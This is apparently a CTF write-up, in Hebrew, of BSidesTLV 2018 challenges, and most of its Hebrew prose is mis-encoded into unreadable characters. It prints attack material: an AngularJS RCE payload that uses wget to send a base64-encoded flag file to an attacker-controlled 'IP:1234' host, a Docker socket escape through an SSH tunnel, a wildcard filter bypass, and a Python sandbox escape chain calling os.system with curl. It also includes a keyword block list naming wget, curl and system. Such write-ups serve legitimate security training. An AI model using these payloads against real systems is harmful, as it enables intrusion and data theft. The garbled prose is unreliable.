 ˠ˧˷ˢ˪ ˶˷˲˞RCE  ˷˧ ˣ˪˧˲˞ˣ ˦ˣ˟ˢ ˶ˣ˸˟PoC !˸ˣ˟ˣˠ˸ˢ ˸˥˞˟ ˢ ˸˞ ˸˴˵ ˢˮ˷ˮ-PoC  ˸˞ ˣˮ˪ ˥˪˷˧˷ ˧ˡ˩

-sflag: 

var args = [{ type: "value",  value: "/usr/bin/wget http://IP:1234/`cat  
/home/bsidestlv/flag.txt | base64 - w0`;/usr/bin/curl http://IP:1234/test;"   
}];  

˟ ˭˧ˤ˞ˮ ˦˶ˣ˲1234 ˢ ˸˞ ˪˟˵ˮ ˣˮ˪˷ ˡˣ˵ˢ ˸˞ ˳˧˶˧ ˦ˣ˟ˢ˷ ˶˥˞˪ˣ-flag :ˢ˷˵˟ˢˬ ˵˪˥˩ 

BSidesTLV{AngularjS_is_Freddy_Krueger}  

 

  

https://github.com/dyntopia/exploits/tree/master/nightmare-ipc
http://ip:1234/%60cat
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Shared directory (Forensics) 

Description: 

LΩǾŜ /ƻwǊǳǇǘŜŘ ǘƘŜ ŦƛƭŜ ǎƻ ƴƻ ƻƴŜ Ŏŀƴ ǊŜŀŘ ƛǘΗ i believe you wilL know how to Fix it :). 

P.S. I like my WINDOWS machine. 

Made by Nimrod Levy 

 

˭ˣ˶˸˲ 

 ˸ˣ˧˸ˣ˞ˢ ˸˞ ˣˮ˧ˢ˧ˤ ˶ˠ˸˞ˢ ˶ˣ˞˧˸ ˪˰ ˸˲˯ˣˮ ˸ˣ˪˩˸˯ˢ ˨ˣ˸ .˫ˣˠ˲ ˞ˣˢ ˧˩ ˣˮ˧˞˶ˣ ˳˟ˣ˵ˢ ˸˞ ˥ˣ˸˲˪ ˣˮ˧˯˧ˮ

 ˣˮ˪ ˞˴˧ˣ ˸ˣ˶˴ˣ˧ ˭ˢ ˫ˢ ˢˬ ˣˮ˵ˡ˟ ,˸ˣ˪ˣˡˠˢCRLF WINDOWS.ˢ˶˵ˬ˟ ˞˪ ˥ˣ˦˟ ˢˤ , 

˟ ˷ˬ˸˷ˢ˪ ˠˣˢˮ ˯˵ˣˮ˧˪˟ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞˷ ˣˬ˩-LF ) ˢ˶ˣ˷ ˸ˡ˶˪ ˸ˮˬ ˪˰n\ ˷ˬ˸˷ˢ˪ ˠˣˢˮ ˯ˣˣˡˮ˧ˣˣ˟ ˡˣ˰˟ (

-˟CRLF ) ˢ˪ˣ˰˲ˢ ˢ˸ˣ˞ ˸˞ ˸ˣ˷˰˪ ˸ˮˬ ˪˰\ r\n.( 

 ˠˣ˯ˬ ˞ˣˢ ˣˮ˥˸˲˷ ˳˟ˣ˵ˢtar-ball  ˭˵˸˪ ˸ˮˬ ˪˰ˣ ˵˲ˡˮ ˳˟ˣ˵ˢ˷ ˥˧ˮˮ ˭˩˪ .˯˵ˣˮ˧˪ ˸ˣ˩˶˰ˬ˟ ˶˸ˣ˧ ˳ˣ˲ˮ˷

 ˪˩ ˶˧ˬˢ˪ ˫˧˩˧˶˴ ˣˮ˞ ˣ˸ˣ˞CRLF ˪-LF. 

˞ ˣˮ˪ ˷˧ !ˣˠˮ˧˟ˣ ˳˟ˣ˵ˢ ˸˞ ˳˪˥˪ ˢ˯ˮˮ.˫˧˴˟˵ˢ ˸  ˞˶˵ˮ˷ ˳˟ˣ˵ ˣˮ˪˟˧˵model.json  ˞˪ˬ ˫˰ ˢ˧˵˧˸ˣ

.˫˧˧˶˞ˮ˧˟ ˫˧˴˟˵ ˢ ˳˟ˣ˵ ˸˞ ˥ˣ˸˲˪ ˢ˯ˮˮ-json  ˸ˬ˞˟ ˞˪ ˢˤ)json ˟ˣ˸˩ ˣ˪˷ ˶ˡˢ˟˷ ˢ˪ˠˮˣ (FemtoZip: 

 

˷ ˶˟˸˯ˬ-FemtoZip !˦˧ˠˢˬ ˢ˸ˣ˞ ˡ˧˶ˣˮ ,˸ˣ˲˸ˣ˷ˬ ˸ˣ˧˵˧˸ ˸˴ˣˣ˩ˬ˷ ˢˮ˩ˣ˸ ˣˤ ,ˢˮ˩ˣ˸ˢ ˸˞ ˸ˣˮ˟˪ ˢ˯ˮˮ 

.ˢ˯˞˟.ˮ ˢ˧˴˪˧˲ˬˣ˵ˢ .ˢ˪˷˩: 

 

ˢ ˫˰ ˧ˢ˷˪˩ ˢ˧˰˟-const..:˫˷ ˢ˶ˣ˵ ˢˬ ˢ˞˶ˮ ,˫ˡˣ˵ .˭˵˸˪ ˢ˯ˮˮ . 

 

ˣˮ˧ˬ˧˟ ˫˧˧˦˦˯ ˫˧ˮ˸˷ˬ ˨˧˶˴ ˧ˬ é.˸˞ˤˢ ˢ˶˴ˢ ˸˞ ˱˧˰ˮ !˪˲ˬ˵˸ˬ ˢˤ ˣ˧˷˩˰ 
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˫˧ˮ˲˟ ˫˷ ˷˧ ˢˬ ˢ˞˶ˮˣ ,ˢ˞˴ˣ˸ˢ ˸˞ ˶ˣˬ˷ˮ: 

 

 ˸ˬ˞˟ ˢˤ ˣ˧˷˩˰json J ,ˢ ˸ˣ˰˴ˬ˞˟ ˧˸˧ˬ˞ˢ ˪ˠˡˢ ˸˞ ˷˲˥ˮˣ ˫˧˧˟˧˦˵˧˲ˢ ˫˧˪ˠˡˢ ˸˞ ˵˥ˬˮ ˦˲˧˶˵˯

:˞˟ˢ 

import  os  

for  filename in  os . listdir ( 'out' ):  

    data = open ( "./out/"  + filename , 'r' ). read ()  

    print  eval ( data )[ 'flag' ]  

 ˸˴˵ˣbash: 

python  do .py |  grep  BSides |  grep  - v ImNot  

 ,˱ˣ˯˟˪:˸ˡˡˣ˟ ˸ˤˣ˶˥ˬ ˣˮ˪ ˶ˤ˥ˣ˸ 

BSidesTLV{F3mZ1pisTh3B3st}  
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T.A.R.D.I.S (Crypto) 

Description: 

Watching the timelines has always been awry - but a keen observer can learn a lot of information 

observing the sidelines... to connect to the challenge use this link 

Made by Guy Barnhart-Magen 

˭ˣ˶˸˲ 

:˶ˠ˸˞ˢ ˸˶˦ˬ ˸˞ ˶˧˟˯ˬ ˶˸˞ˢ 

 

  

http://two.challenges.bsidestlv.com:5050/
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 ˸˟ ˞˧ˢ ˢˬ˯˧˯ˢ˷ ˫˧˰ˡˣ˧ ˣˮ˞10  ˣˮ˪ ˶ˤ˥ˣˬ ˶˲˯ˬ ˫˧˯˧ˮ˩ˬ ˣˮ˞˷ ˰ˠ˶˟ ,˱˯ˣˮ˟ .˫˧˶˲˯ˬ ˫˪ˣ˩˷ ˫˧ˣˣ˸

:ˢˬ˯˧˯ˢ ˸ˣˮˣ˩ˮ ˸˞ ˵ˣˡ˟˪ ˶˸˞˪ ˥˵˪ ˣ˟ ˭ˬˤˢ 

 

:˞˟ˢ ˭˲ˣ˞˟ ˸˰˴˟˸ˬ ˢ˵˧ˡ˟ˢ˷ ˥˧ˮˮ ˫˞ 

for  c ,  p in  given_pass ,  pass :  

    sleep ( 0.2 )  

    if  c !=  p:  

        return  false  

return  true  

.˫˧ˮˣ˩ˮ ˫˧ˮˣ˷˞˶ˢ ˫˧ˣˣ˸ˢˬ ˶˸ˣ˧˷ ˪˩˩ ˭ˬˤ ˶˸ˣ˧ ˸˥˵ˣ˪ ˢ˵˧ˡ˟ˢ˷ ˟˪ ˫˧˷ˮ  ˸ˮˬ ˪˰ ˣˤ ˢˡ˟ˣ˰˟ ˷ˬ˸˷ˮ

 ˢˬ˯˧˯ˢ ˸˞ ˳˪˥˪-  ˭˧˟ ˫˧ˣˣ˸ˢ ˪˩ ˸˞ ˢ˯ˮˮ0-9  .˶˸ˣ˧˟ ˟˶ˢ ˭ˬˤˢ ˸˞ ˥˵ˣ˪ ˟ˣ˷˧˥ˢ ˣ˟ ˡ˥˞ˢ ˸˞ ˶˥˟ˮˣ

.ˢˬ˯˧˯˟ ˞˟ˢ ˣ˸˪ ˶ˣ˟˰ˮ ˭˩ˬ ˶˥˞˪ 

˞˧ˢ ˢˬ˯˧˯ˢ˷ ˪˟˵ˮˣ ˣˤ ˢ˦˧˷˟ ˷ˬ˸˷ˮ :8105237467 - ˢ ˣˮ˪ ˯˲ˡˣ˧ ˤ˞ˣ-flag: 
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Crypto2 (Crypto) 

Description: 

In this crypto challenge we taking the basic crypto ciphers a leap forward! While not venturing 

ŦŀǊΣ ȅƻǳ ǿƛƭƭ ƴƻǘ ŦƛƴŘ ǘƘŜ ŎǊȅǇǘŀƴŀƭȅǎƛǎ ŀǎ ƻōǾƛƻǳǎ ŀǎ ƭŀǎǘ ȅŜŀǊΩǎ Υύ 

Made by Guy Barnhart-Magen 

 

˭ˣ˶˸˲ 

˳˟ˣ˵ˢ ˧˲˪ ˷˥ˮ˪ ˶˷˲˞ .ˢˬ˧ˡ˵ ˡ˰˴ ˣ˸ˣ˞ ˣ˥˵˪˷ ˸˧˯˥˧ ˦ˣ˷˲ ˭˲ˣ˴˟ ˶˟ˣˡˬ ˫˧ˮ˧˟ˬ ˶˟˩ ˣˮ˥ˮ˞˷ ˣˬ˩ ˤ˞ 

˷ ˸ˣ˧ˣ˶˧ˡ˸ ˥ˣ˸˧ˮˣ-ˡˬ "ˢˬ˧ˡ˵ ˡ˰˴ˢ" ˫˰ ˫˧˯˧˲ˡ ˞˪ ˫˧ˣˣ˸˟ ˷ˣˬ˧˷ ˪˰ ˶˟substition cipher˶˟ˡ , 

.˭ˣ˟˷˥˟ ˫˸ˣ˞ ˫˧˥˵ˣ˪ ˞˪ ˫ˢ ˧˩ ˪ˣ˰˲˪ ˫˧˧˦ˬˣ˦ˣ˞ ˫˧˶˸˞ ˪˰ ˡˣ˞ˬ ˢ˷˵ˬ˷ 

" ˞ˣˢ ˣˮ˪˷ ˳˟ˣ˵ˢ ˫˷!ƴƻǊŀƪΩǎ LƴǾƛǘŀǘƛƻƴΦǘȄǘ ˶˲˯˪ ˯ˮ˶˲˶ ,""Ready Player One".  ˢ˪˥˸ˢˢ ˸˞ ˣˮ˥˵˪

 ˭˲˴ˣˬˢ ˦˯˵˦ˢ ˪˷:˸ˣ˞˧˶˵ ˸ˣ˧˸ˣ˞˟ ˢ˸ˣ˞ ˣˮ˲˪˥ˢˣ 

¨I}K[:'} - ʨ Ʀʔǆ Æǆʐ&-ǆÆŅ Ú 
abcdefgchijhklchmcnoipcmqhr  

˶˲˯ˢ ˸˪˧˥˸˪ ˣˮ˞˴ˬ˷ ˸˧ˮ˟˸ˢ ˸˞ ˢˣˣ˷ˮ (˸ˣ˞ ˢ˸ˣ˞˪ ˫˧˲ˬ˸ˬ ˫˧ˣˣ˸ ˢˬ˩ ˫˧ˬ˰˲˪): 

a b c d e f g c h i j h k l c h m c n o i p c m q h r  
E v e r y o n e   m y   a g e   r e m e m b e r s   w  

 ˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ ,˸˧˶ˣ˵ˬˢ ˢ˲˪˥ˢˢ ˸˞ ˣˮ˞˴ˬ !˸ˬ˪˷ˣˬ ˢˬ˞˸ˢh ˣ ˥ˣˣ˶˪ ˱˪˥˸ˬ-c ˪ ˱˪˥˸ˬ-e˧ˡ˩ . 

˪˩ ˸˞ ˣˮ˪ ˢ˧ˢ˧˷ ˡ˰ .ˢˬ˩˥ ˢ˶ˣ˴˟ ˸ˣ˧˸ˣ˞ ˫˧˪˷ˬˣ ˭ˣ˪˧ˬ ˶˴ˣ˧˷ ˦˲˧˶˵˯ ˧˸˟˸˩ ˸ˣ˲˪˥ˢˢ ˪˩ ˸˞ ˞ˣ˴ˬ˪ 

.˥ˮ˰ˣ˲ˬˢ ˦˯˵˦ˢ 

 

 ˧˲ ˪˰ ˭ˣ˪˧ˬ ˶˴˧˧˪ ˪˧˥˸ˬˣ ˦˯˵˦ˢˬ ˭ˣ˷˞˶ˢ ˦˲˷ˬˢ ˸˞ ˥˵ˣ˪ ˦˲˧˶˵˯ˢ ˞˪ ˞ˣˢ˷ ˰ˠ˶˟ ,˸ˣ˲˪˥ˢˢ

 ˫˧˪˷ˢ˪ˣ ˶˲˯ˢ ˪˰ ˶ˢˬ ˶ˣ˟˰˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ .ˢ˸ˣ˞ ˯˧ˮ˩ˢ˪ ˷ˬ˸˷ˬˢˬ ˷˵˟ˬ ˞ˣˢ ˸ˬ˧ˣ˯ˬ ˸ˣ˞ ˞˴ˣˬ

.˸ˣˬˣ˵ˬˢ ˶˞˷ ˪˩˟ ˢ˸ˣ˞ ˫˧˪˷ˢ˪ ˠ˞ˡ˧ ˞ˣˢ ,ˢ˶˯˥ˢ ˸ˣ˞ˢ ˸˞ ˡ˟˪ 
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 ˸˞ ˷˧ ˳˟ˣ˵ˢ ˱ˣ˯˟ ˶˷˞˩˪ˠˡˢ :P , ˨˶˰˟ ˪˷ ˢˬ˪˷ˢ ˶˥˞˪15  ˸˞ ˣˮ˪˟˧˵ ˸ˣ˧˸ˣ˞˪ˠˡˢ! 

 

BSidesTLV{4948 941_671}  

 

˶ˣˢ ˲˧ˢ ˲˧ˢ é˶˲˯ˬ ˣˮ˪ ˶˯˥ ?ˢˬ ˰ˠ˶é  ˣˮ˶˸˲ ˞˪ ˢ˞˶ˮ˩ ,˦˯˵˦˟ ˶˥˞ ˫ˣ˵ˬ ˫ˣ˷˟ ˰˧˲ˣˬ ˞˪ ˞ˣˢ

˫˧˶˲˯ˬ ˵˶ ˢˤ ˣˮ˶ˬ˞˷ ˣˬ˩ ?˷ˣ˥˧ˮ ˪˰ ˣˮ˟˷ ˣ˞ ,˶ˣ˸˲ˮ˷ ˣ˴˶˷ ˨˶ˡ˟ é ,˥˧˪˴ˮ˷ ˡ˰ ˷˥ˮ˪ ˢ˯ˮˮ ˤ˞6 

!˶˯˥ˢ ˶˲˯ˬˢ ˞ˣˢ 

BSidesTLV{49489416671}  
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Docking Station (Misc) 

Description: 

Mind having a look? 

ssh bsidestlv@one.challenges.bsidestlv.com -p 2222 (password: d0ck1ngst4t10n) 

Made by Tomer Zait 

˭ˣ˶˸˲ 

˟ ˶˟˥˸ˮ ˶˷˞˩-ssh  ˨ˣ˸˟ ˫˧˞˴ˬˮ ˣˮ˥ˮ˞˷ ˭˧˟ˮ ,˸˶˷˪Docker Container.  ,˫˧ˡˣ˷˥ ˫˧˴˟˵ ˶˥˞ ˷ˣ˲˧˥˟

˟ ˪˵˸˧ˮ-/var/run/docker.sock . ˣˢˤ˷ ˢ˪ˣ˰ ˪ˠˣˠ˟ ˶˴˵ ˷ˣ˲˧˥ˬsocket  ˪ ˶˷˵ˬˢ-api ˶˵ˣˡ ˪˷ , ˡˣ˰˧˸ˢ

 ˣ˪˷ˢ˲. 

 ˣˮ˪˷ ˧˪˞˵ˣ˪ˢ ˦˶ˣ˲ˢ ˭˧˟ ˶˷˵ˮ ,˶˸ˣ˧ ˢ˪˵˪ ˣˮ˪˷ ˢˡˣ˟˰ˢ ˸˞ ˨ˣ˲ˢ˪ ˸ˮˬ ˪˰2375 ˪-socket  ˸˶˷˟

:ˢˡˣ˵˲ˢ ˸ˣ˰˴ˬ˞˟ ˵˥ˣ˶ˬˢ 

ssh - L127.0.0.1:23 75:/app/docker.sock bsidestlv@one.challenges.bsidestlv.com - p 2222  

:ˢ˞˟ˢ ˢ˟ˣ˷˸ˢ ˸˞ ˪˟˵ˮ ˱ˡ˪ ˷ˠ˧ˮ ˫˞ ˸˰˩ 

 

ˢ ˪˰ ˶˟˰ˬ˟-api:˭ˢ ˭ˢ˧˪˞ ˸˷ˠ˪ ˭˸˧ˮ˷ ˸ˣˡˣ˵ˮˢ .˸ˣ˷˧ˠˮ ˫ˮ˧˞ ˢ˴˵ˢ ˸ˣˡˣ˵ˮ ˟ˣ˶˷ ˭˧˟ˮ , 

/ containers / json  

/ containers /( id or  name)/ json  

/ containers /( id or  name)/ top  

/ containers /( id or  name)/ logs ?stdout =1 

/ containers /( id or  name)/ export  

˪ ˷ˠ˧ˮ ˫˞-"http://127.0.0.1:2375/containers/json?all=1˪ ˟˪ ˣˬ˧˷) "-all=1 ˪˩ ˸˞ ˸ˣ˞˶˪ ˸ˮˬ ˪˰ ,

-scontainers ˧ˮ˷˟ ˭˧˥˟ˮ (containers ˫ˡˣ˵ ˣ˰˧˲ˣˢ ˞˪˷.  ˞˧ˢ ˢ˴˶ˣˢ˷ ˢˡˣ˵˲ˢ ˫ˢˬ ˡ˥˞˟

"Command":"/hello "- .ˢ˶ˣ˷˩ ˡ˟ˣ˰ ˪˩ˢ˷ ˵ˣˡ˟˪ ˫˧˷ˬ˸˷ˬ ˣ˟ ˶ˮ˧˧˦ˮˣ˵ˢ ˣˢˤ  ˢ˴˶ˣˢ˷ ˢˡˣ˵˲ˢ ,˧ˮ˷˟

" ˞˧ˢCommand":"/galf.sh "-  ˢˤ ˶ˮ˧˧˦ˮˣ˵ ˧˟ˠ˪ ˡˣ˰ ˶ˣ˵˥ˮ- ˪ ˷ˠ˧ˮ-logs: 

 

 ˢ˪ ˢ˷˰ˮ !˫˧˷˲˥ˬ ˣˮ˞˷ ˢ˪ˣ˩ˬˢ ˣˤexport ˢ ˸ˣ˰˴ˬ˞˟-api endpoint  ˫˧˞˸ˬˢ-  ˪˰ ˶ˣ˟˰˪ ˪˩ˣˮ ˸˰˩

ˢ ˸˞ ˫˷ˬ ˳˪˥˪ˣ ˢ˪ˣ˩ˬˢ ˪˷ ˫˧˴˟˵ˢ ˸˩˶˰ˬ-flag: 

BSidesTLV{i_am_r34dy_t0_esc4p3_th3_d0ck3r!}  

https://docs.docker.com/engine/api/v1.24/
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C1337Shell (Misc) 

Description: 

What the f**k? I have RCE on a this machine but i can't get the flag. Can you help me out? 

http://one.challenges.bsidestlv.com:5000/c1337.php 

Made by Tomer Zait 

˭ˣ˶˸˲ 

:˞˟ˢ ˱ˡˢ ˣˮ˪ ˠ˴ˣ˧ ˶˸˞˪ ˯ˮ˩ˮ ˶˷˞˩ 

 

.˭˸ˣ˞ ˳˧˶ˢ˪ ˶ˣˬ˞ ˸˶˷ˢˣ ˸ˣˡˣ˵˲ ˯˧ˮ˩ˢ˪ ˭˸˧ˮ ,ˢ˶ˣ˞˩˪  ˢˡˣ˵˲ ˯˧ˮ˩ˢ˪ ˫˧˯ˮˬ ˶˷˞˩ ˨˞" ˫˧˪˟˵ˬerror: 

bad characters found." :˫˧˶˸ˣˬ ˫˧ˣˣ˸ ˣ˪˧˞ ˸˵ˡˣ˟ˢ ˢ˧˴˵ˮˣ˲ ˧˸˟˸˩ 

def  findAllowed ():  

    allowed = []  

    for  i in  range ( 256 ):  

        resp = 

requests . post ( 'http://challenges.bsidestlv.com:5000/c1337.php' , data ={ 'cm

d' : chr ( i ), 'd' : '/app' , 'act' : 'cmd' , 'submit' : 'Execute' })  

        if  'error: bad characters found'  not  in  resp . text :  

            print  "Allowed: {}" . format ( chr ( i ))  

            allowed . append ( chr ( i ))  

    return  allowed  

 

:ˢ˞˴ˣ˸ˢˣ 

Allowed = [ ' \ t' ,  ' \ n' ,  ' \ x0b' ,  ' \ x0c' ,  ' \ r' ,  ' ' ,  '!' ,  '"' ,  '#' ,  '%' ,  

'(' ,  ')' ,  '*' ,  '+' ,  ',' ,  ' - ' ,  '.' ,  '/' ,  ':' ,  ';' ,  '=' ,  '?' ,  '@' ,  '[' ,  

']' ,  '^' ,  '_' ,  '`' ,  '{' ,  '}' ,  '~' ]  
  

http://one.challenges.bsidestlv.com:5000/c1337.php
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 ˵˥˷ˬ ˶˥˞˪ ˱˯ˣˮ ˭ˣˮˠ˯˟ ˢˡˣ˵˲ ˳˧˶ˬ ˶˸˞ˢ˷ ˧˸˧˪˧ˠ ,˶˸˞˟ ˦˪˵ˢ ˫˰"echo INPUT" ˫˞˷ ˭ˣˣ˧˩ˬ ,

˟ˣ˸˩ˮ */ ,bash :˷˶ˣ˷ˢ ˸˧˧˵˧˸˟ ˫˧˴˟˵ˢ ˪˩ ˫˰ ˢ˸ˣ˞ ˱˧˪˥˧ 

 

 ˨ˣ˸˟ ˸ˣ˧˵˧˸ˢ ˪˰ ˶ˣ˟˰˪ ˪˩ˣˮ ˨˩/app˪ ˰˧ˠˢ˪ˣ ,-/app/f/fl/flag/flag_is_here/flag.txt: 

 

ˢ ˸˞ ˯˧˲ˡˢ˪ ˧ˡ˩ ˸˰˩-flag˟ ˷ˬ˸˷ˢ˪ ˢ˴˶ˮ ,-/bin/cat˟ ˫˧˷ˬ˸˷ˬ ˶˷˞˩ ,ˣˮ˪ˤˬ˪ .-/???/???  ˳˟ˣ˵ˢ

 ˞ˣˢ ˫˧˞˸ˬ˷ ˭ˣ˷˞˶ˢ/bin/cat ˭ˣˮˠ˯˟ ˞˧ˢ ˢˡˣ˵˲ˢ˷ ˭ˣˣ˧˩ˬ ."echo INPUT" ˭˸˧ˮ ˫˞ ,:˦˪˵˩ 

;/???/??? /???/?/??/*/????_??_????/*  

:˞ˣˢ ˳˶ˣ˧˷ ˢˬ 

ÅÃÈÏ ƘƳÂÉÎƳÃÁÔ ƳÂÉÎƳÄÉÒ ƳÂÉÎƳÐ×Ä ƛ ƳÁÐÐƳÆƳÆÌƳÆÌÁÇƳÆÌÁÇʍÉÓʍÈÅÒÅƳÆÌÁÇƚÔØÔ 

ˢ ˸˞ ˪˟˵ˮˣ-flag :˦˪˲ˢ ˱ˣ˯˟ 

BSidesTLV{1_l1k3_wildcards_&_r3g3x_but_h8_th3_cr34t0r}  
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PySandbox-Insane (Misc) 

Description: 

BANNED = [ 

 "realgam3", "digitalwhisper", "pycon2018",   

 "+", ":", "%", "*", "=", " ", "{", "}",   

 "\ \ ", "\ "\ "", "\ "'", "''", "' \ "", "()",   

 "import", "exec", "eval",   

 "pickle", "marshal", "os", "system",   

 "values", "popen", "subprocess", "input",   

 "sys", "file", "open",   

 "__dict__", "__init__", "__class__",   

 "__base__", "__bases__", "__mro__",   

 "None", "pop", "read", "get(",   

 "replace", "insert", "format",   

 "encode", "decode",   

 'warningmessage', "linecache",   

 "listdir", "__subclasses__",   

 "__call__", "func_globals",   

 "cat", "grep", "flag", "secret", "http",   

 "wget", "curl", "curl secret/flag.txt",   

 "for", "while", "iter", "next", "join",   

 "i know you hate me" 

] 

Escape the sandbox and bypass the firewall to capture the flag! 

nc two.challenges.bsidestlv.com 3030 

Made by Tomer Zait 

˭ˣ˶˸˲ 

 ,˸˧ˤ ˶ˬˣ˸ ˸˧˟ˬ ˢ˶ˡ˯˟ ˧˰˧˟˶ˢ ˶ˠ˸˞ˢ ˢˤPython Sandbox Escaping.  ˦˲˯ˮˣ˵ ˸˞ ˶˞˸ˬˢ ˶ˬ˞ˬˢ

˟ ˞˴ˬˮ ,˯˵ˣ˟ˡˮ˞˯ˢ ˸˩˶˰ˬˬ ˢ˥˧˶˟ˢ˶ˣ˷˧˵. 

:˞˧ˢ ˶ˣ˴˧˪ ˣˮ˧˪˰˷ ˢˡˣ˵˲ˢ ,˶˞ˣ˸ˬ˷ ˣˬ˩ 

"".__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'] 

 ˢ˧˶˲˯˟ ˸˷ˬ˸˷ˬ˷ ˢ˵˪˥ˬ ˢˮˬˬ ˸˲˪ˣ˷ˣ ˭ˣ˸˧˧˲˟ ˧˯˧˯˟ ˧˩ˢ ˦˵˧˧˟ˣ˞˟ ˸˷ˬ˸˷ˬ ˣˤ ˢˡˣ˵˲ ˶˷˞˩OS .

 ˢ˧˴˵ˮˣ˲ˢ ˸˶ˤ˰˟ ˸˩˶˰ˬˢ ˪˰ ˫˧˴ˣ˶ ˣˮ˥ˮ˞˷ ˡˣ˵ ˪˩ ˳˧˶ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˞ ˢ˧˶˲˯˟ ˢ˦˧˪˷ ˣˮ˪ ˷˧ ˶˷˞˩

system .ˢ˧˶˲˯ˢ ˨ˣ˸ˬ 

ˣ˵ˢ ˸ˬ˶ ˸˞ ˣ˪ ˢ˪˰ˬˢ ˸˩˶˰ˬˢ ˪˰ ˸˟˩˶ˣˬˢ ˢˬ˧˯˥ˢ ˞ˣˢ ˶ˠ˸˞˟ ˢ˷˵ˢ ˵˪˥ˢ ˣˮ˸˧˞ˬ ˸˷˶ˣˡˣ ˧˷

.˭ˣ˸˧˧˲ ˪˰ ˵ˬˣ˰˪ ˶ˣ˵˥˪ 

:˞ˣˢ ˣ˟ ˧˸˷ˬ˸˷ˢ˷ ˡˣ˵ˢ 

https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-5-PySandbox.pdf


 
 

˭ˣ˶˸˲ ˧˶ˠ˸˞ s-CTF ˪˷ BSidesTLV 2018 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ97 , ˦˯ˣˠˣ˞2018  63 
 

__builtins__ . __setattr__ ( "obj" , __builtins__ . __getattribute__ ( "__class" . __add__ ( "

__" )). mro(     ). __getitem__ ( 1))  

__builtins__ . __setattr__ ( "sub" , obj . __getattribute__ ( obj , "__subclasses" . __add__ ( "

__" )))  

__builtins__ . __setattr__ ( "war" , sub (     ). __getitem__ ( 58))  

__builtins__ . __setattr__ ( "inp" , war . __getattribute__ ( war , "__init" . __add__ ( "__" )))  

__builtins__ . __setattr__ ( "fun" , inp . __getattribute__ ( "func_globa" . __add__ ( "ls" )))  

__builtins__ . __setattr__ ( "lin" , fun . __getitem__ ( "linecac" . __add__ ( "he" )))  

__builtins__ . __setattr__ ( "dict" , lin . __getattribute__ ( "__dict" . __add__ ( "__" )))  

__builtins__ . __setattr__ ( "pus" , dict . __getitem__ ( "o" . __add__ ( "s" )))  

__builtins__ . __setattr__ ( "sup" , pus . __getattribute__ ( "sy" . __add__ ( "stem" )))  

sup ( "cur" . __add__ ( "l    secr" ). __add__ ( "et/fla" ). __add__ ( "g.txt" ))  

˞ ˶˧˟˯ˢ˪ ˧ˡ˩ ˸ˣˡˣ˵˲ ˭ˣ˪˧ˬ ˧˸˶˴˧ ˨˩ ˨˶ˣ˴˪ .ˢ˶ˣ˷ ˪˩˟ ˢˮ˟ˬˢ ˸˞ ˪˩ ˫ˡˣ˵ ˭˧˟ˮ˨˧ :˸˶ˡˣ˯ˬ ˢ˶ˣ˴˟ ˡ˟ˣ˰ ˢˮ˟ˬˢ 

˶ˣ˦˶˲ˣ˞ˢ ˶ˣ˵ˬˢ ˭ˣ˶˸˲ˢ 

ˢˬ˷ˢ ("=") var = value __builtins__.__setattr__("var",value) 

ˢ˲˧˪˷ ("[]") var[value] var.__getitem__(value) 

˫˧˪˧ˬ ˸ˣˬˣ˯˥ var.__param__ var.__getattribute__(var,"__param".__add__("__")) 

ˮˣ˲'˵ ˞˪˪ ˫˧˶˦ˬ˶˲* func()/func( ) func( ) 

] *˫˯˥ˮ ˫ˠ ˷ˣˬ˧˷ˢ ˫˧˧˶ˠˣ˯˟ ˱˴˶˟ ˫ˠˣ ˷ˣˬ˧˷ˢ ˥ˣˣ˶˟ ,˭˩˪ ˭ˣ˶˸˲˟ ˷ˬ˸˷ˮ ˟-tab ˪˰ ˸ˮˬ ˱ˣ˵˰˪ ˸˞ˤ.[ 

ˢ ˪˷ ˫ˣˠ˶˸ ˶˥˞˪ˡˣ˵ :˪ ˪ˣ˵˷ ˣˮ˪˷ ˡˣ˵ˢ ˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ ˣˮ˧ˮ˟˷ ˭ˣ˪˧ˬˢ ˧"˰ 

obj = __builtins__ . __class__ . mro()[ 1]  

sub = obj . __subclasses__  

war = sub ()[ 58]  

inp = war . __init__  

fun = inp . func_globals  

lin = fun .[ "linecache" ]  

dict = lin . __dict__  

pus = dict .[ "os" ]  

sup = pus . system  

sup ( "curl secret/flag.txt" )  

 ˸˞ ˣˮ˪˟˧˵ .ˣˠˮ˧˟ˣ˪ˠˡˢ! 

 

BSidesTLV{I_AM_The_Python_Mater}   
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˫ˣ˩˧˯ 

-sCTF  ˣˬ˯˶ˣ˲ˣ ,˫˧˧˰ˣ˟˷˩ ˨˷ˬˮˣ˟ ˪˪˷ ˫˧˶ˠ˸˞ ˸ˣˬ˶˟ ˧˷ˣ˵ ˸ˣˮˣ˷.  ˡ˥ˣ˧ˬ˟ ˣ˦˪˟ ˧˸˰ˡ˪˷ ˫˧˶ˠ˸˞ˢ

:˫ˢ 

¶ wtflol - .˸ˣ˶˥˸ˢ ˨˪ˢˬ˟ ˱˪˥ˣˢˣ ˱˪ˡˣˢ˷ ˪ˠˡˢˣ ˣ˸ˣ˞ ˶ˣ˸˲˪ ˧˪ ˥˵˪˷ ˭ˬˤˢ ,˧˷ˣ˵ˢ ˸ˬ˶ ˪˪ˠ˟ 

¶ IAmBrute -  ˥ˣ˪˴˪ ˧ˡ˩ ˶ˣ˵˥˪ ˫˧˩˧˶˴ ˣˮ˧˧ˢ ˫˸ˣ˞ ,˸ˣ˧ˣˬˡ˪ ˫˧˧˟˧˦˵˧˲ ˫˧˪˧˲ˣ˶˲ ˣ˥˸˲ ˶ˠ˸˞ˢ ˧˟˸ˣ˩

˶ˠ˸˞ˢ ˸˞. 

¶ PimpMyRide - ˸˷˪ˣ˥ ˪ˣ˴˧ˮ˟ ˧˸˧˯ˮ˸ˢ ˞˪ ˫˪ˣ˰ˬ deserialization ˟-php ˧˸˞˶˵ ˵˶ ˞˪˞ ,.ˢ˧˪˰ 

¶ GamingStore - ) ˶ˠ˸˞ˢ ˭ˣ˶˸˲˪ ˧˥˶˩ˢ ˢ˧ˢ˷ ˱ˡ˟ ˭˦˵ ˦˶˲ ˧˸˯˲˯˲ ,˸ˣ˰˷ ˢˬ˩ ˨˷ˬ˟ng-app .(

